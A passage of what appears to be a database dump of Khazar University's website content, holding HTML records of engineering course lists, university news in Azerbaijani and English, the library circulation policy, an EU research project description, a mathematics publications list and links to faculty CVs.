Engineers&nbsp;</strong></p><p><strong>Advanced Gas and Gas-Condensate Reservoir Engineering&nbsp;</strong></p><p><strong>Numerical Reservoir Simulation&nbsp;</strong></p><p><strong>Enhanced Oil Recovery&nbsp;</strong></p><p><strong>Advanced Drilling engineering&nbsp;</strong></p><p><strong>Petroleum Geoscience</strong></p><p><strong>&nbsp;Fluid flow in Porous Media&nbsp;</strong></p><p><strong>Well Stimulation&nbsp; &nbsp;</strong></p><p><strong>Formation Evaluation&nbsp;</strong>  </p><div><br></div><br><h3><strong>Department of&nbsp;&nbsp;Computer&nbsp;Sciences&nbsp;and Computer Engineering</strong>  </h3><div><strong><br></strong></div><p><strong>Computer Application in Engineering A</strong></p><p><strong>Computer Application in Engineering B/C</strong></p><p><strong>Fundamentals of Computer programming&nbsp;</strong></p><p><strong>Object Oriented Programming B</strong></p><p><strong>Web &amp; Mobile Programming 1 A/B</strong></p><p><strong>Computer Graphics</strong></p><p><strong>Computer Networks A</strong></p><p><strong>Computer Networks B</strong></p><p><strong>Database Management Systems</strong></p><p><strong>Design and Analysis of Modern Algorithms</strong></p><p><strong>Artificial Intelligence</strong></p><p><strong>Introduction to Compilers</strong></p><p><strong>Digital Logic</strong></p><p><strong>Signals and Systems</strong></p><p><strong>Introduction to Robotics</strong></p><p><strong>Introduction to the Basics of the Python and Neural Networks</strong></p><p><strong>Advanced computer networks and communications</strong></p><p><strong>Advanced Data Structure</strong></p><p><strong>Advanced Object-Oriented Programming</strong></p><p><strong>Distributed Systems&nbsp; &nbsp; &nbsp;</strong></p><p><strong>Optical Signals and Systems&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</strong></p><p><strong>Parallel Computer Architecture</strong></p><p><strong>Parallel Programming</strong></p><p><strong>Advanced Software Engineering</strong></p><p><strong>Advanced Operating Systems</strong></p><p><strong><br></strong></p><p><strong></strong></p><h3><strong>Department of&nbsp;Electronics, Telecommunications and Radio Engineering&nbsp;</strong></h3><div><strong><br></strong></div><p><strong>Physics 1A</strong></p><p><strong>Physics 1B&nbsp;</strong></p><p><strong>Physics 2&nbsp;A/B</strong></p><p><strong>Physics 2C</strong></p><p><strong>Circuits Theory</strong></p><p><strong>Semiconductor Devices and Modeling&nbsp;</strong></p><p><strong>Microprocessor-based Systems&nbsp;</strong></p><p><strong>Telecommunication Networks</strong></p><p><strong>Basics of Circuitry</strong></p><p><strong>Control Systems&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</strong></p><p><strong><br></strong></p><h3><strong><a href=\"http://www.khazar.org/files/radio_depart/Wireless%20Communication-2017fall.doc\"></a>Department of&nbsp;&nbsp;</strong><strong>Mathematics<a href=\"http://www.khazar.org/en/menus/133/mathematics\"></a></strong><a href=\"http://www.khazar.org/en/menus/133/mathematics\"></a>  </h3><p><strong>Calculus 1&nbsp;A/B&nbsp;</strong><strong></strong></p><p><strong>Calculus 1C</strong></p><p><strong>Calculus 1D</strong></p><p><strong>Calculus 2</strong></p><p><strong>Statistical methods for engineers</strong></p><p><strong>Introduction to Discrete Mathematics</strong></p><p><strong>Applied Linear Algebra</strong></p><p><br></p><h3><strong>Department of&nbsp;&nbsp;Civil Engineering</strong>  </h3><div><strong><br></strong></div><p><strong>Foundation Engineering&nbsp;</strong></p><p><strong>Reinforced Concrete Fundamentals - 1&nbsp;</strong></p><p><strong>Architectural Structures&nbsp;</strong></p><p><strong>Fundamentals of Steel design</strong></p><p><strong>Hydraulics</strong></p><p><strong>Engineering Seismology</strong></p><p><strong>Engineering drawing</strong></p><p><br></p><h3><strong>Department of&nbsp;Chemical Engineering and Chemistry</strong>  </h3><p><strong>Thermodynamic 1</strong></p><p><strong>Kinetic and reactions</strong></p><p><strong>Heat Transfer</strong></p><p><strong>Introduction to Chemical Engineering</strong></p><p><strong>Unit Operation I</strong></p><p><strong>Process Control</strong></p><p><strong>Chemistry I&nbsp;</strong></p><p><strong>Analytical Chemistry</strong></p><p><strong>Alternative Fuel Technology</strong></p><p><strong>Organic chemistry</strong></p><p><strong>Chemistry II</strong></p><p><br></p><h3><strong>Department of Mechanical Engineering&nbsp;&nbsp;</strong>  </h3><p><strong>Engineering Mechanics</strong></p><p><strong>Fundamentals of Electrical Engineering</strong></p><p><strong>Introduction to Mechanical Engineering</strong></p><p><strong>Strength of Material</strong></p><p><strong>Fundamentals of Computer Programming</strong></p><p><strong>Fluid Mechanics I</strong></p><p><strong>CNC Machine Programming and Machine Operation</strong></p><p><strong>AutoCAD for Mechanical Engineering</strong></p><p><strong>Machine Vibrations</strong></p><p><strong>Machine Theory&nbsp;</strong></p><p><strong></strong><strong>Machine&nbsp;Element II</strong></p><p><br></p><h3><strong>General</strong></h3><div><strong><br></strong></div><p><strong>Azerbaijan Language A</strong></p><p><strong>Azerbaijan Language B/C</strong></p><p><strong>Azerbaijan Language D</strong></p><p><strong>Azerbaijan history for foreigners</strong></p><p><strong>German Language 1</strong></p><p><strong>Italian Language 1&nbsp;</strong></p><p><strong></strong><strong>Introduction to philosophy</strong></p><p><strong>Introduction to Economics A/B</strong></p><p><strong>Life Science</strong></p><p><strong>Family Law</strong></p><p><strong></strong></p>'),(5979,3416,'az','Riyaziyyat departamentinin əməkdaşı mükafatlandırıldı','Xəzər Universitetinin Riyaziyyat departamentinin professoru Nazim Kərimov Azərbaycan Respublikası...','<p>Xəzər Universitetinin Riyaziyyat departamentinin professoru Nazim Kərimov Azərbaycan Respublikası Təhsil Nazirliyinin təşəkkürnaməsi ilə təltif edilmişdir. Professor Nazim Kərimov “<em>2017-2018-ci tədris ilində keçirilmiş Respublika fənn olimpiadalarında Riyaziyyat fənni üzrə münsiflər heyətinin üzvü olaraq, istedadlı şagirdlərin düzgün seçilməsi sahəsində peşəkarlıq və səriştəlilik nümayiş etdirdiyinə</em>” görə təltif edilmişdir.</p><p>Qeyd edək ki, professor Nazim Kərimov Azərbaycanı beynəlxalq riyaziyyat olimpiadasında təmsil edən milli komandanın əsas çalışdırıcısıdır. Bununla yanaşı, o, həmçinin, Xəzər Universitetinin “Dünya” məktəbi ilə şagirdlərin riyaziyyat olimpiadalarına hazırlanması sahəsində fəal iştirak edir, orada olimpiada dərsləri aparır.</p>'),(5980,3416,'en','Associate of the Department of Mathematics rewarded','Nazim Karimov, Professor at the Department of Mathematics of Khazar University, has been rewarded...','<p>Nazim Karimov, Professor at the Department of Mathematics of Khazar University, has been rewarded with a Certificate of Gratitude of the Ministry of Education. Prof. Nazim Karimov has been rewarded for \" Professionalism and competence in the proper selection of talented pupils as a member of the jury on Maths in National Subject Olympiads held in 2017-2018\".</p><p>It should be noted that Professor Nazim Karimov is a senior trainer for the national team representing Azerbaijan in International Maths Olympiads. Moreover, he is actively engaged in preparing students of \"Dunya\" school of Khazar University for Maths Olympiads, and conducts lessons for Olympiads at \"Dunya\" school.</p>'),(5982,3417,'en','July issue of “Khazar Review” journal is published','July issue, 2018, of “Khazar Review” journal (number 375) has been published...','<p>July issue, 2018, of “Khazar Review” journal (number 375) has been published at Khazar University press.&nbsp;</p><p>The journal is available at&nbsp;<a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org</a>.</p>'),(5077,2954,'az','Circulation Policy','Circulation Policy','<h2>Access&nbsp;</h2><p>There are a number of mechanisms for access provided for those who would like to use materials from the Library and Information Center, which are outlined below. There are also policies to these facilities.</p><p>The library collections are available to all individuals for use on Readings Rooms and for borrowing from Circulation Desk.</p><p>Khazar University faculty, staff, and students are eligible to borrow materials from University Library collections.</p><p>Visitings may also be eligible for borrowing privileges through Readings Rooms.</p><h2>Rules of Membership</h2><p>Khazar University students, Full-time and Part-time Staff are automatically eligible for full membership in the LIC. To start using the reading rooms, collections, and services they must first register at the Circulation Desk.</p><h2>REQUIRING MATERIALS:</h2><br><ul><li>Passport or personal ID</li><li>Student ID</li><li>1 copy of image</li></ul><br><p>The Internal membership expires at the end of the academic year.</p><p>Every new academic year LIC conducts membership renewal. Registration is free of charge.</p><p>External users are welcome to become members of the LIC. Their membership expires at the end of academic year and has to be renewed.</p><h2>Loan Periods</h2><p>Loan periods and number of items to be borrowed differ for Faculty Members, Students and Staff.&nbsp;</p><p>Single-copy fiction-title can be borrowed at the discretion of the LIC senior staff members, but for a period of 7 days only. A user can borrow not more 3-fiction titles at once.</p><h2>Faculty members&nbsp;</h2><p>Faculty members may loan up to 15 items total for the following loan period: One academic semester: Course textbooks and manuals</p><p>30 days: other resources (excluding non-circulated) for followed by a renewal except the cases the title is reserved by another user.</p><p>Part –time faculty members have to bring recommendation letter from appropriate department to the circulation desk</p><h2>Students&nbsp;</h2><p>Students may loan to</p><br><ul><li>7 items total for graduate students</li><li>10 items for undergraduate students</li><li>For the following loan period</li></ul><br><p>One academic semester: course textbooks and manuals for under the condition of sufficient copies, except the cases when the title is reserved by another user.</p><p>30 days: other resources (excluding non-circulated) for followed by a renewal except the cases the title is reserved by another user. :</p><h2>Staff members&nbsp;</h2><p>Staff members may loan up to 5 items for the regular period of 15 days under the condition of sufficient copies availability and excluding non-circulated items.</p><h2>Non-Circulated Items</h2><p>The following types of resources are non-circulated and can not be checked out:</p><br><ul><li>Reserved titles, required readings and current course materials</li><li>Single-copy titles</li><li>Last copy of title</li><li>Reference title</li><li>Periodicals and loose-leaf-publications</li><li>Original and non-printed materials, such as CD-ROMs, videos, audio-tapes, etc.</li></ul><br><p>Circulation desk staff can explain specific renewal policies.</p><h2>Library Notices</h2><p>Circulation Services sends notices to patrons alerting them of overdue books. The notice will be sent to local address you have provided the University. All borrowers may now elect to have library notices sent to an email address. Users can register for this service at any circulation desk.</p><p>Overdue notices are sent for books that you have borrowed and are now more than 28 days overdue. Faculty level borrowers may renew items by checking the titles and forwarding the notice to any library listed on the back of the notice.</p><h2>Overdue Materials</h2><p>LIC borrowing privileges will be suspended when individuals keep materials for 50 days or more beyond their due date. Privileges will be restored only after the items have been returned.</p><h2>Lost or Damage Books and Fines</h2><p>Lost and/or damaged books should be replaced with the same/similar titles or repaired. The replacement fee for any lost and/or damaged items is estimated at 3-10 times the original price, but is the subject of special decision.</p><h2>Address Changed</h2><p>It is each library user\'s responsibility to inform the LIC of changes in their local address.</p><p>The Library can only temporarily change addresses.</p>'),(3318,1949,'az','“69 yaşlı Hamlet İsaxanlı: “Mən həmin insanam...”','2017-ci il martın 1-də az.azvision.az saytında Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı ilə müsahibə yayınlanmışdır...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil martın 1-də <strong><em>az.azvision.az&nbsp;</em></strong>saytında Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlı ilə müsahibə yayınlanmışdır. “69 yaşlı Hamlet İsaxanlı: “Mən həmin\r\ninsanam...”<strong> </strong>adlı müsahibə\r\nProfessorun növbəti ad günü münasibətilə aparılmışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Müsahibəni\r\nbu link vasitəsilə oxumaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://az.azvision.az/news/112370/69-yasli-hamlet-isaxanli-men-hemin-insanam....html\">http://az.azvision.az/news/112370/69-yasli-hamlet-isaxanli-men-hemin-insanam....html</a>.&nbsp;</p>'),(3317,1948,'az','“Xəzər Universitetinin koordinatorluq etdiyi layihənin tərəfdaşlarından biri də Gəncə Dövlət Universitetidir”','2017-ci il martın 2-də cumhuriyyet.net informasiya saytında “Gəncə Dövlət Universiteti: İnkişafın yüksək mərhələsində” adlı məqalə yayınlanmışdır. Məqalədə Xəzər Universitetinin...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil martın 2-də <strong><em>cumhuriyyet.net</em></strong> informasiya saytında “Gəncə Dövlət\r\nUniversiteti: İnkişafın yüksək mərhələsində” adlı məqalə yayınlanmışdır. Məqalədə\r\nXəzər Universitetinin koordinatorluq etdiyi Avropa İttifaqının “Əlilliyi olan şəxslərin\r\nAzərbaycanınali təhsil\r\nmüəssisələrinə inteqrasiyasının təməlinin qoyulması” ESFİDİP-Tempus layihəsinin\r\ntərəfdaşlarından birinin də Gəncə Dövlət Universiteti olduğu qeyd olunur:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Məqaləni\r\ntam şəkildə bu link vasitəsilə oxumaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.cumhuriyyet.net/cemiyyet/89476-g%C9%99nc%C9%99-dovl%C9%99t-universiteti-inkisafin-yuks%C9%99k-m%C9%99rh%C9%99l%C9%99sind.html\">http://www.cumhuriyyet.net/cemiyyet/89476-gəncə-dovlət-universiteti-inkisafin-yuksək-mərhələsində.html</a>.</p>'),(406,250,'en','Exams Schedule','Exams Schedule','<br><p><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Time_table/Midterm%20Exam%20Fall%20Semestr%202018%20.xlsx\"></a><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Time_table/Midterm%20Exam%20Fall%20Semestr%202018%20.xlsx\">Midterm&nbsp;Exam Schedule_2018_Fall</a></strong></p>'),(407,251,'en','International Projects','','<div><h3><strong>ERASMUS MUNDUS</strong></h3><div><strong><br></strong></div><br><h4><strong>ELECTRA: Enhancing Learning in ENPI Countries Through Clean Technologies and Research-related Activities&nbsp;</strong></h4><div><strong><br></strong></div><br><h4><strong>Duration: 48 months</strong></h4><div><strong><br></strong></div>  </div><p>ELECTRA is a project proposal that enhances quality in higher education and&nbsp;promotes intercultural understanding through research co-operation with third countries, particularly in the fields of energy, environment and industrial applications.&nbsp;</p><p>The project is coordinated by Oldenburg University who has been partner member in Erasmus Mundus projects since 2010 and coordinator of a running Tempus project with ENPI countries. All corners of Europe are represented, from Portugal to the Baltic countries passing by Ireland, Germany to Bulgaria. In ENPI countries, capitals and regions are represented as well (like Batumi, Odessa, Zaporizhzhya).</p><p>Special attention is given to the roles of associated partners including research centers, ministries of&nbsp;education, association of universities in both ENPI and Europe, quality assurance agencies and&nbsp;environmental agencies in third countries.</p><p>During the lifespan of the project, selected candidates will be trained and formed in a variety of universities with large experience in exchange mobility, campus of excellence in targeted areas, and with the possibility of practical internships in numerous programs.</p><p>By improving the skills of present and future engineers, environmentalists, policy makers in energy, soil and water management and related areas, while encouraging employability and avoiding brain drain, ELECTRA expects to contribute positively to the local and regional development of ENPI countries. Multi-country initiatives are sought too.</p><p>ELECTRA is a project that attempts to bring closer cooperation between EU and&nbsp;ENPI countries so as to increase research and produce multiplier effects in areas related to Green&nbsp;Energy, Environment and Sustainable Development. These are the three main areas of action within&nbsp;the European COST network.</p><p>Likewise, the project will reinforce educational, cultural, scientific and technological links between&nbsp;partners while implementing EHEA tools and mechanisms that promote transparency and recognition of studies abroad.</p><p>Other specific objectives of the project are:</p><ul><li>Promotion of the knowledge-based triangle science-enterprise-university by targeting applied research&nbsp;in the PhD and post-doc proposals;</li><li>Integration of Bologna educational system and Lisbon Strategy in Central Asian partner institutions&nbsp;with support of Ministries of Education&nbsp;</li><li>Contribution to the development of qualification frameworks in priority field areas&nbsp;Contribution to lifelong learning and employability of students.</li></ul><p><em><strong><br></strong></em></p><p><em><strong>Coordinator: &nbsp;</strong></em></p><div><p><a href=\"http://www.uni-oldenburq.de/\">Oldenburg University</a></p><p><br></p><p><strong><em>Joint Coordinator:</em></strong></p><p><a href=\"http://www.iliauni.edu.ge/\">Ilia State University</a></p><p><br></p><p><strong><em>Partners:</em></strong></p><p><a href=\"http://www.upv.es/\">Politechnico de Valencia</a></p><p><a href=\"http://www.polito.it/\">Politechnico di Torino</a></p><p><a href=\"http://www.ul.ie/\">Limerick University</a></p><p><a href=\"http://www.uminho.pt/\">Universidade do Minho</a></p><p><a href=\"http://www.oulu.fi/\">Oulu University</a></p><p><a href=\"http://www.uj.edu.pl/\">Jagiellonian University</a></p><p><a href=\"http://www.uctm.edu/\">University of Chemical Technology and Metallurgy</a></p><p><a href=\"http://www.tsu.edu.ge/\">Tbilisi State University</a></p><p><a href=\"http://bsu.edu.ge/\">Batumi Shota Rusteveli State University</a></p><p><a href=\"http://www.bsu.by/\">Belarusian State University</a></p><p><a href=\"http://www.bsu.edu.az/\">Baku State University</a></p><p><a href=\"http://www.opu.ua/\">Odessa Technological University</a></p><p><a href=\"http://www.univ.kiev.ua/\">Kyiv National Taras Shevchenko University</a></p><p><a href=\"http://www.znu.edu.ua/\">Zaporizhzhya National University</a></p><p><a href=\"http://www.znu.edu.ua/\"></a><a href=\"http://www.bntu.by/\">Belarusian Technical University</a></p><p><br></p><p><strong><em>Contact:</em></strong></p><p>Hassan Niknafs, Dean of School of Engineering and Applied Sciences</p><p><a href=\"mailto:Hniknafs[at]khazar.org\">Hniknafs[at]khazar.org</a></p><p>Havvakhanim Gurbanova, Assistant Vice President of International Affairs</p><p><a href=\"mailto:hgurbanova[at]khazar.org\">hgurbanova[at]khazar.org</a></p><p><br></p><p><strong><em>Useful link:</em></strong>&nbsp;</p><p><a href=\"http://vlba.informatik.uni-oldenburg.de/en/60246.html\">http://vlba.informatik.uni-oldenburg.de/en/60246.html</a></p></div>'),(408,252,'en','Publications','','<p>1.&nbsp;<strong>Hamlet Isayev</strong>,&nbsp;<a href=\"http://www.khazar.org/files/math_depart/5.pdf\">On the class of linear operators associated with the multiparameter spectral theory</a>, Appl. Comput. Math., 2017; (accepted)</p><p><br></p><p>2.&nbsp;Sertac Goktas&nbsp;(Turkey),&nbsp;<strong>Nazim B. Kerimov</strong>&nbsp;, and&nbsp;Emir A. Maris&nbsp;(Turkey), &nbsp;<a href=\"http://www.khazar.org/files/math_depart/4.pdf\">On the Uniform Convergence of Spectral Expansions for a Spectral Problem with a Boundary Condition Rationally Depending on the Eigenparameter</a>,&nbsp;Journal of the Korean Mathematical Society, 54(2017), No.4, pp 1175-1187;</p><p><br></p><p>3.&nbsp;<strong>Ali Huseynli</strong>, Vidadi Mirzoyev and Aida Gulieva,&nbsp;<a href=\"http://www.khazar.org/files/math_depart/7.pdf\">On basicity of the perturbed system of exponents in Morrey-Lebesgue Spaces</a>, Azerbaijan Journal of Mathematics, Vol.7, No2, (2017);</p><p><br></p><p>4.&nbsp;V.F. Salmanov, and&nbsp;<strong>T.Z. Garayev</strong>,&nbsp;<a href=\"http://www.khazar.org/files/math_depart/6.pdf\">On basicity of exponential systems in Sobolev-Morrey spaces</a>,&nbsp;An. Stiint¸&nbsp;Univ. Al. I. Cuza Ia¸si Mat. (N.S.) 2016; (Romania); (accepted)</p><p><br></p><p>5.&nbsp;Valid F. Salmanov,&nbsp;<strong>Tarlan Z. Garayev</strong>, and Saad R. El-Shabrawy&nbsp;(Egypt),&nbsp;<a href=\"http://www.khazar.org/files/math_depart/13.pdf\">Basis Properties of Exponential Systems With Linear Phases in Morrey-Sobolev Type Spaces</a>, Math. Sci. Lett. 6, No. 3, 305-309 (2017)</p><p><br></p><p>6.<strong>&nbsp;Ilmar Gahramanov&nbsp;</strong>and Hjalmar Rosengren&nbsp;(Sweden),&nbsp;&nbsp;&nbsp;<a href=\"http://www.khazar.org/files/math_depart/1.pdf\">Basic hypergeometry of supersymmetric dualities</a>,&nbsp;Nuclear Physics B 913 (2016) 747–768; (accepted)</p><p>&nbsp;</p><p>7.&nbsp;<strong>Ilmar Gahramanov</strong>&nbsp;and Andrew P. Kels&nbsp;(Tokyo),&nbsp;<a href=\"http://www.khazar.org/files/math_depart/2.pdf\">The star-triangle relation, lens partition function, and hypergeometric sum/integrals</a>, Journal of High Energy Physics, 2017 (accepted)</p><p><br></p><p>8.&nbsp;<strong>Ilmar Gahramanov</strong>&nbsp;and Kemal Tezgin&nbsp;(USA),&nbsp;<a href=\"http://www.khazar.org/files/math_depart/3.pdf\">A resurgence analysis for cubic and quartic anharmonic potentials</a>, International Journal of Modern Physics A, Vol. 32, No. 5 (2017)4;</p><p>&nbsp;</p><p>9.&nbsp;<strong>Shakhmurov, Veli B</strong><strong>.</strong>&nbsp;<a href=\"http://apps.webofknowledge.com/full_record.do?product=WOS&amp;search_mode=GeneralSearch&amp;qid=2&amp;SID=T1tBM4Q4yWY55mmjb89&amp;page=1&amp;doc=4\">Nonlocal problems for Boussinesq equations</a>,&nbsp;<a title=\"View journal impact\">Nonlinear Analysis-Theory, Methods &amp; Applications,&nbsp;</a>Volume:&nbsp;142&nbsp;(2016), p.134-151;</p><p>&nbsp;</p><p>10.&nbsp;Musaev, H.K.,&nbsp;<strong>Shakhmurov, V.B.</strong>,&nbsp;Regularity properties of degenerate convolution-elliptic equations, Boundary Value Problems, Volume 2016, Issue 1, (2016), p.1-19;</p><ol start=\"10\" type=\"1\"></ol><p>&nbsp;</p><p text-align:justify;text-indent:-.25in;line-height:150%\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">11.&nbsp;Ч.Г. Ибадзаде,&nbsp;<strong>И.М. Набиев</strong>,&nbsp;<a href=\"http://www.khazar.org/files/math_depart/16.pdf\">Восстановление оператора Штурма-Лиувилля с неразделенными граничными условиями и соспектральным параметром в граничном условии</a>&nbsp;//Укр.&nbsp; мат.&nbsp; журн.,Том 69,№ 1, 2017;</p><p>&nbsp;</p><p text-align:justify;text-indent:-.25in;line-height:150%\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">12.&nbsp;Bilal T. Bilalov,&nbsp;<strong>Ali A. Huseynli</strong>, and Fidan Sh. Seyidova, Riemann boundary value problems in generalized weighted Hardy spaces, Proceedings of the Institute of Mathematics and Mechanics, National Academy of Sciences of Azerbaijan, 2017; (accepted)</p><p>&nbsp;</p><p text-align:justify;text-indent:-.25in;line-height:150%\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">13.&nbsp;Ahmet Eroğlu&nbsp;(Turkey),&nbsp;<strong>Javanshir V. Azizov</strong>, A note of the fractional integral operators in generalized operators in generalized Morrey spaces on the Heisenberg group, Transactions of NAS of Azerbaijan, Issue Mathematics, Series of Physical-Technical and Mathematical Sciences, 37(1), 86-91(2017);</p><p>&nbsp;</p><p text-align:justify;text-indent:-.25in;line-height:150%\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">14.&nbsp;Bilal Bilalov,&nbsp;<strong>Ali Huseynli</strong>, Miran Aleskerov,&nbsp;<a href=\"http://www.khazar.org/files/math_depart/8.pdf\">On the basicity of unitary system of exponents in the generalized Lebesgue spaces</a>, Transactions of NAS of Azerbaijan, Issue Mathematics, Series of Physical-Technical and Mathematical Sciences, 37 (1), 63–76 (2017), 2017;</p><p>&nbsp;</p><p text-align:justify;text-indent:-.25in;line-height:150%\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">15.&nbsp;Bilal Bilalov,&nbsp;<strong>Ali Huseynli</strong>, On statistical variants of Karovkin type theorms, Reports of National Academy of Sciences of Azerbaijan, 2017;(accepted)</p><p>&nbsp;</p><p text-align:justify;text-indent:-.25in;line-height:150%\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">16.&nbsp;A. Eroglu, V. S. Guliyev, and&nbsp;<strong>J. V. Azizov</strong>,&nbsp;<a href=\"http://www.khazar.org/files/math_depart/15.pdf\">Characterizations for the Fractional Integral Operators in Generalized Morrey Spaces on Carnot Groups</a>, Mathematical Notes, 2017, Vol. 102, No. 5, pp. 127–139.</p><p>&nbsp;</p><p><strong>International Conference Papers</strong></p><p margin-left:45.0pt;text-align:justify;text-indent:-.25in;line-height:150%\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">1.&nbsp;<strong>Гусейнли А.А.</strong>, Селим Явуз, <a href=\"http://www.khazar.org/files/math_depart/10.pdf\">Функциональное пространство L_p;r и сингулярный интеграл Коши</a>, “Modern mathematics and its applications”, Papers of the International scientific-practical conference, Part I, 18–20, May 2017, Ufa , p. 288-290.</p><p margin-left:45.0pt;text-align:justify;text-indent:-.25in;line-height:150%\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">2.&nbsp;<strong>И.М. Набиев</strong>, <a href=\"http://www.khazar.org/files/math_depart/11.pdf\">Обратная &nbsp;задача &nbsp;для оператора Штурма-Лиувилля со спектральным параметром в граничном условии</a>, “Modern mathematics and its applications” Papers of the International scientific-practical conference, Part II, 18–20, May 2017, Ufa , p. 103-107.</p><p margin-left:45.0pt;text-align:justify;text-indent:-.25in;line-height:150%\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">3.&nbsp;<strong>Nazim B. Kerimov</strong>, Emir A. Maris, On the Spectral Expansions of a Boundary Value Problem with eigenparameter in both Boundary Conditions, International Conference on Mathematics and Mathematics Education, (ICMME-2017), Harran University, Şanlıurfa, 11-13 May, 2017</p><p margin-left:45.0pt;text-align:justify;text-indent:-.25in;line-height:150%\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">4.&nbsp;Ziyatkhan. S. Aliyev,&nbsp;<strong>Nazim B. Kerimov</strong>, Spectral properties for the equation of Vibrating Rod on Right end of which an inertial load is consentrated, VIII Annual International Conference of the Georgian Mathematical Union, September 4-8, 2017</p>'),(409,209,'en','Faculty Instructor\'s CV','Faculty Instructor\'s CV','<p>&nbsp;</p><p><img src=\"/files/social/foto/15_10_14_CV.jpg\" style=\"width:450px;height:445px;margin:7px;vertical-align:middle\"><br></p><p><br></p><p><a href=\"http://www.khazar.org/files/Kamala_Asgerova_CV_europass.pdf\">Kamala Askerova</a> &nbsp;<br></p><p><a href=\"http://www.khazar.org/files/pdf/Ceyhun_Kerimov_CV.pdf\">Jeyhun Karimov</a> &nbsp;<br></p><p><a href=\"http://www.khazar.org/files/Gunel%20Qasimova-CV.pdf\">Gunel Gasimova</a> &nbsp;<br></p><p><a href=\"http://www.khazar.org/files/pdf/Adilya_Abdullayeva_CV.pdf\">Adilya Abdullayeva</a> &nbsp;<br></p><p><a href=\"http://www.khazar.org/files/pdf/Aliya_Guliyeva-EN.pdf\">Aliya Guliyeva</a> &nbsp;<br></p><p><a href=\"http://www.khazar.org/files/Minara_Farzaliyeva_CV%202.pdf\">Minara Farzaliyeva</a> &nbsp;<br></p><p><a href=\"http://www.khazar.org/files/JALA_HUSEYNOVA.pdf\">Jala Huseynova</a> &nbsp;<br></p><p><a href=\"http://www.khazar.org/files/Firangiz_Nasirova_CV.pdf\">Firangiz Nasirova</a> &nbsp;<br></p><p><a href=\"http://www.khazar.org/files/CV_Arzu_Mikayilzade%20(2).pdf\">Arzu Mikayilzada</a> <br></p><p><a href=\"http://www.khazar.org/files/pdf/Balamedova_Yegane.pdf\">Yegana Balamedova</a> &nbsp;<br></p><p><a href=\"http://www.khazar.org/files/Jamala_Mammadova%20(2).pdf\">Jamala Mammadova</a> &nbsp;<br></p><p><a href=\"http://www.khazar.org/files/Milana_Abasova_CVNEW%20(2).pdf\">Milana Abbasova </a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/Zamira_Gurbanova_CV%20(3).pdf\">Zamira Veliyeva </a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/pdf/Irina%20Orujova.doc\">Irina Orujova</a> <br></p><p><a href=\"http://www.khazar.org/files/Europass-CV-20141130-Mammadov-EN%20(2).pdf\">Shahriyar Mammadov</a> &nbsp;<br></p><p><a href=\"http://www.khazar.org/files/Naile_Gasimova_CV%20(2).pdf\">Naila Gasimova</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/Leyla%20Salayeva-CV%20(1)%20(1).pdf\">Leyla Salayeva </a> <br></p><p><a href=\"http://www.khazar.org/files/LIDIA_MATVEEVNA%20(2).pdf\">Lidia Gamidova </a> <br></p><p><a href=\"http://www.khazar.org/files/Shafa%20Naghiyeva%20CV%20Fall%202015.pdf\">Shafa Naghiyeva </a> <br></p><p><a href=\"http://www.khazar.org/files/pdf/CV_Gulnur_Miriyeva.pdf\">Gulnur Miriyeva</a>  <br></p><p><a href=\"http://www.khazar.org/files/Calvin%20Tiessen%20CV%20Fall%202013.pdf\">Calvin Tiessen </a> <br></p><p><a href=\"http://www.khazar.org/files/pdf/Sevinc_A%C4%9Fayeva-CV.pdf\">Sevinc Ağayeva </a> <br></p><p><a href=\"http://www.khazar.org/files/pdf/Elza_Ismayilova_CV.pdf\">Elza Ismayilova</a>  <br></p><p><a href=\"http://www.khazar.org/files/Khatire_Beshirli_CV-1%20(1).pdf\">Khatira Bashirli </a> <br></p><p><a href=\"http://www.khazar.org/files/Dilbar_Zeynalova__CV%20(1).pdf\">Dilbar Zeynalova </a> <br></p><p><a href=\"http://www.khazar.org/files/ULVIYYA%20IBRAHIMOVA.pdf\">Ulviyya Ibrahimli </a> <br></p><p><a href=\"http://www.khazar.org/files/ROZA%20ARAZOVA%20CV.pdf\">Roza Arazova </a> <br></p><p><a href=\"http://www.khazar.org/files/Araz_Aslan_CV.pdf\">Araz Aslanli </a> <br></p><p><a 